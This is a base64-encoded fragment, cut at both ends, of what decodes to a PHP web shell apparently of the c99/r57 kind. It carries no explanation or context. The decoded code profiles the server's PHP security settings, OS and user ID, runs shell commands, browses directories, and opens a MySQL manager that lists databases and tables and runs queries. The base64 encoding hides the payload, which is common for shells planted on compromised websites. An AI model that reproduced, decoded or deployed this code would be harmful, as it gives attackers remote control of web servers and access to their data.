JuIHNob3dzdGF0KCJvZmYiKTsgfQ0KICB9DQogIGZ1bmN0aW9uIHNob3dkaXNhYmxlZnVuY3Rpb25zKCkgew0KICAgIGlmICgkZGlzYWJsZWZ1bmM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIikpeyByZXR1cm4gIjxmb250IGNvbG9yPXJlZD48Yj4iLiRkaXNhYmxlZnVuYy4iPC9iPjwvZm9udD4iOyB9DQogICAgZWxzZSB7IHJldHVybiAiPGZvbnQgY29sb3I9IzAwRkYwMD48Yj5OT05FPC9iPjwvYj48L2ZvbnQ+IjsgfQ0KICB9DQogIGlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpIHsNCiAgICAkc2FmZW1vZGUgPSBUUlVFOw0KICAgICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9IzMzNjZGRj48Yj5PTiAoU2VjdXJlKTwvYj48L2ZvbnQ+IjsNCiAgfQ0KICBlbHNlIHsNCiAgICAkc2FmZW1vZGUgPSBGQUxTRTsNCiAgICAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPXJlZD48Yj5PRkYgKE5vdCBTZWN1cmUpPC9iPjwvZm9udD4iOw0KICB9DQogICR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KICBpZiAoJHYgb3Igc3RydG9sb3dlcigkdikgPT0gIm9uIikgew0KICAgICRvcGVuYmFzZWRpciA9IFRSVUU7DQogICAgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7DQogIH0NCiAgZWxzZSB7DQogICAgJG9wZW5iYXNlZGlyID0gRkFMU0U7DQogICAgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7DQogIH0NCiAgICAgJHF1b3RlcyA9IGdldF9tYWdpY19xdW90ZXNfZ3BjKCk7DQppZiAoJHF1b3RlcyA9PSAiMSIgb3IgJHF1b3RlcyA9PSAib24iKQ0KICAgew0KICAgICAgICRxdW90ID0gIjxmb250IGNvbG9yPSdyZWQnPk9OPC9mb250PiI7DQogICB9DQogICBlbHNlDQogICB7DQogICAgICAgJHF1b3QgPSAiPGZvbnQgY29sb3I9J2dyZWVuJz5PRkY8L2ZvbnQ+IjsNCiAgIH0NCiAgJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRzb3J0KTsNCiAgaWYgKGVtcHR5KCRzb3J0KSkgeyRzb3J0ID0gJHNvcnRfZGVmYXVsdDt9DQogICRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7DQogICRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQogIGlmICghZXJlZygiUEhQLyIucGhwdmVyc2lvbigpLCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpIHskRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQLyIucGhwdmVyc2lvbigpO30NCiAgJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNpb24oKSwiPGEgaHJlZj1cIiIuJHN1cmwuIng9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxiPjx1PlBIUC8iLnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOw0KICBpZiAoIWlzX2FycmF5KCRhY3Rib3gpKSB7ICRhY3Rib3ggPSBhcnJheSgpOyB9DQogICRkc3BhY3QgPSAkeCA9IGh0bWxzcGVjaWFsY2hhcnMoJHgpOw0KICAkZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KICAkdWQgPSB1cmxlbmNvZGUoJGQpOw0KICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogIGlmIChlbXB0eSgkZCkpIHskZCA9IHJlYWxwYXRoKCIuIik7fQ0KICBlbHNlaWYocmVhbHBhdGgoJGQpKSB7JGQgPSByZWFscGF0aCgkZCk7fQ0KICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgJGQgPSBzdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwkZCk7DQogICRkaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGQpOw0KZWNobyAkaHRtbF9zdGFydDsNCmVjaG8gIjx0YWJsZSBpZD1wYWdlYmFyPjx0cj48dGQgd2lkdGg9NTAlPjxwPiIuDQoJICJTb2Z0d2FyZSA6ICIuJERJU1BfU0VSVkVSX1NPRlRXQVJFIC4iIC0gPGEgaHJlZj0iLiRzdXJsLiJ4PXBocGluaT5waHAuaW5pPC9hPjxicj4iLg0KICAgICAiU2FmZSBNb2RlOiRoc2FmZW1vZGU8YnI+TWFnaWMgUXVvdGVzOiRxdW90PGJyPiIuDQogICAgICJVbmFtZSAtYSA6ICIucGhwX3VuYW1lKCkuIjxicj4iOw0KaWYgKCEkd2luKSB7IGVjaG8gImlkIDogIi5teXNoZWxsZXhlYygiaWQiKTsgfQ0KZWxzZSB7IGVjaG8gIlVzZXIgOiAiIC4gZ2V0X2N1cnJlbnRfdXNlcigpOyB9DQplY2hvICI8YnI+PC9wPiIuDQogICAgICI8cD5TZXJ2ZXIgSVAgOiA8YSBocmVmPWh0dHA6Ly93aG9pcy5kb21haW50b29scy5jb20vIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9hPiAtICIuDQogICAgICJZb3VyIElQIDogPGEgaHJlZj1odHRwOi8vd2hvaXMuZG9tYWludG9vbHMuY29tLyIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIj4iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2E+IjsNCgkgZWNobyAiPGJyPjxwPiI7DQppZigkd2luKXtlY2hvICJEcml2ZXMgOiAiLmRpc3BfZHJpdmVzKCRkLCRzdXJsKS4iPC9wPjxwPiI7fQ0KZWNobyAiRnJlZXNwYWNlIDogIi5kaXNwX2ZyZWVzcGFjZSgkZCk7DQplY2hvICI8L3A+PHA+IjsNCmVjaG8gIk15U1FMOiAiLnRlc3RteXNxbCgpLiIgTVNTUUw6ICIudGVzdG1zc3FsKCkuIiBPcmFjbGU6ICIudGVzdG9yYWNsZSgpLiIgTVNTUUw6ICIudGVzdG1zc3FsKCkuIiBQb3N0Z3JlU1FMOiAiLnRlc3Rwb3N0Z3Jlc3FsKCkuDQogICAgICIgY1VSTDogIi50ZXN0Y3VybCgpLiIgV0dldDogIi50ZXN0d2dldCgpLiIgRmV0Y2g6ICIudGVzdGZldGNoKCkuIiBQZXJsOiAiLnRlc3RwZXJsKCkuIjxicj4iOw0KZWNobyAiRGlzYWJsZWQgRnVuY3Rpb25zOiAiLnNob3dkaXNhYmxlZnVuY3Rpb25zKCk7DQplY2hvICI8L3A+PC90ZD48L3RyPiI7DQplY2hvICI8dHI+PHRkIGNvbHNwYW49MiBpZD1tYWlubWVudT4iOw0KaWYgKGNvdW50KCRxdWlja2xhdW5jaDIpID4gMCkgew0KICBmb3JlYWNoKCRxdWlja2xhdW5jaDIgYXMgJGl0ZW0pIHsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsNCiAgICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICAgIGlmIChlbXB0eSgkdikpIHsNCiAgICAgICRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7DQogICAgICAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7DQogICAgfQ0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOw0KICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+XG4iOw0KICB9DQp9DQplY2hvICI8L3RkPjx0cj48dGQgY29sc3Bhbj0yIGlkPW1haW5tZW51PiI7DQppZiAoY291bnQoJHF1aWNrbGF1bmNoMSkgPiAwKSB7DQogIGZvcmVhY2goJHF1aWNrbGF1bmNoMSBhcyAkaXRlbSkgew0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRpdGVtWzFdKTsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAgICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7DQogICAgaWYgKGVtcHR5KCR2KSkgew0KICAgICAgJGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsNCiAgICAgICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTsNCiAgICB9DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7DQogICAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT5cbiI7DQogIH0NCn0NCmVjaG8gIjwvdGQ+PHRyPjx0ZCBjb2xzcGFuPTIgaWQ9bWFpbm1lbnU+IjsNCmlmIChjb3VudCgkcXVpY2tsYXVuY2gzKSA+IDApIHsNCiAgZm9yZWFjaCgkcXVpY2tsYXVuY2gzIGFzICRpdGVtKSB7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgICBpZiAoZW1wdHkoJHYpKSB7DQogICAgICAkYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICB1bnNldCgkYVtjb3VudCgkYSktMl0pOw0KICAgICAgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpOw0KICAgIH0NCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPlxuIjsNCiAgfQ0KfQ0KZWNobyAiPC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0yPiI7DQplY2hvICI8cCBjbGFzcz1mbGVmdD4iOw0KJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsNCiRpID0gMDsNCmZvcmVhY2goJHBkIGFzICRiKSB7DQogICR0ID0gIiI7ICRqID0gMDsNCiAgZm9yZWFjaCAoJGUgYXMgJHIpIHsNCiAgICAkdC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAgaWYgKCRqID09ICRpKSB7IGJyZWFrOyB9DQogICAgJGorKzsNCiAgfQ0KICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCR0KS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGZvbnQgY29sb3I9cmVkPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9mb250PjwvYT4iOw0KICAkaSsrOw0KfQ0KZWNobyAiIC0gIjsNCmlmIChpc193cml0YWJsZSgkZCkpIHsNCiAgJHdkID0gVFJVRTsNCiAgJHdkdCA9ICI8Zm9udCBjb2xvcj0jMDBGRjAwPltPS108L2ZvbnQ+IjsNCiAgZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkZCkpLiI8L2ZvbnQ+PC9iPiI7DQp9DQplbHNlIHsNCiAgJHdkID0gRkFMU0U7DQogICR3ZHQgPSAiPGZvbnQgY29sb3I9cmVkPltSZWFkLU9ubHldPC9mb250PiI7DQogIGVjaG8gIjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj4iOw0KfQ0KPz4NCg0KPC9wPg0KPGJyIC8+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibHMiPg0KRGlyZWN0b3J5OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj4NCjwvZm9ybT4NCjwvdGQ+PC90cj48L3RhYmxlPg0KPD9waHANCmVjaG8gIjx0YWJsZSBpZD1tYWluaW5mbz48dHI+PHRkIHdpZHRoPVwiMTAwJVwiPlxuIjsNCmlmICgkeCA9PSAiIikgeyAkeCA9ICRkc3BhY3QgPSAibHMiOyB9DQppZiAoJHggPT0gInBocGluaSIgKSB7IGdldF9waHBpbmkoKTsgfQ0KaWYgKCR4ID09ICJzcWwiKSB7DQogICRzcWxfc3VybCA9ICRzdXJsLiJ4PXNxbCI7DQogIGlmICgkc3FsX2xvZ2luKSAgeyRzcWxfc3VybCAuPSAiJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7fQ0KICBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQ0KICBpZiAoJHNxbF9zZXJ2ZXIpIHskc3FsX3N1cmwgLj0gIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7fQ0KICBpZiAoJHNxbF9wb3J0KSAgIHskc3FsX3N1cmwgLj0gIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTt9DQogIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQ0KICAkc3FsX3N1cmwgLj0gIiYiOw0KICBlY2hvICI8dGFibGU+Ii4NCiAgICAgICAiPHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiBjb2xzcGFuPTIgY2xhc3M9YmFyaGVhZGVyPiI7DQogIGlmICgkc3FsX3NlcnZlcikgew0KICAgICRzcWxfc29jayA9IG15c3FsX2Nvbm5lY3QoJHNxbF9zZXJ2ZXIuIjoiLiRzcWxfcG9ydCwgJHNxbF9sb2dpbiwgJHNxbF9wYXNzd2QpOw0KICAgICRlcnIgPSBteXNxbF9zbWFydGVycm9yKCk7DQogICAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7DQogICAgaWYgKCRzcWxfcXVlcnkgYW5kICRzdWJtaXQpIHskc3FsX3F1ZXJ5X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKTsgJHNxbF9xdWVyeV9lcnJvciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogIH0NCiAgZWxzZSB7JHNxbF9zb2NrID0gRkFMU0U7fQ0KICBlY2hvICIuOiBTUUwgTWFuYWdlciA6Ljxicj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9DQogICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY29ubmVjdCEgIi4kZXJyO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkluZGV4Iiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJzdGF0dXMiKTsNCiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3g9c2VydmVydmFycyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXByb2Nlc3NlcyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuIng9c3FsIik7DQogICAgZWNobyAiTXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8YnI+IjsNCiAgICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPjx0cj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjI4JVwiIGhlaWdodD1cIjEwMFwiIHZhbGlnbj1cInRvcFwiPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD1cIjkwJVwiIGhlaWdodD0xIHZhbGlnbj1cInRvcFwiPiI7DQogICAgZWNobyAiPHRhYmxlIHdpZHRoPVwiMTAwJVwiIGJvcmRlcj0wPjx0cj48dGQ+PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj48L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj48L3RkPjwvdHI+PGZvcm0gYWN0aW9uPVwiICRzdXJsIFwiIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48dHI+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cInJvb3RcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiXCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCJcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwibG9jYWxob3N0XCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIjMzMDZcIiBtYXhsZW5ndGg9XCI2XCIgc2l6ZT1cIjNcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29ubmVjdFwiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCFlbXB0eSgkc3FsX2RiKSkgew0KICAgICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPg0KDQogICAgICA8P3BocA0KICAgICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICAgZWxzZSB7DQogICAgICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgICAgICRjID0gMDsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7IGVjaG8gIjxiPismbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9DQogICAgICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9DQogICAgICB9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT4NCiAgICAgIDw/cGhwDQogICAgICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgIGVsc2Ugew0KICAgICAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPg0KICAgICAgICA8P3BocA0KICAgICAgICAkYyA9IDA7DQogICAgICAgICRkYnMgPSAiIjsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgkc3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJvd1swXS4iPC9vcHRpb24+IjsgJGMrKzt9DQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5E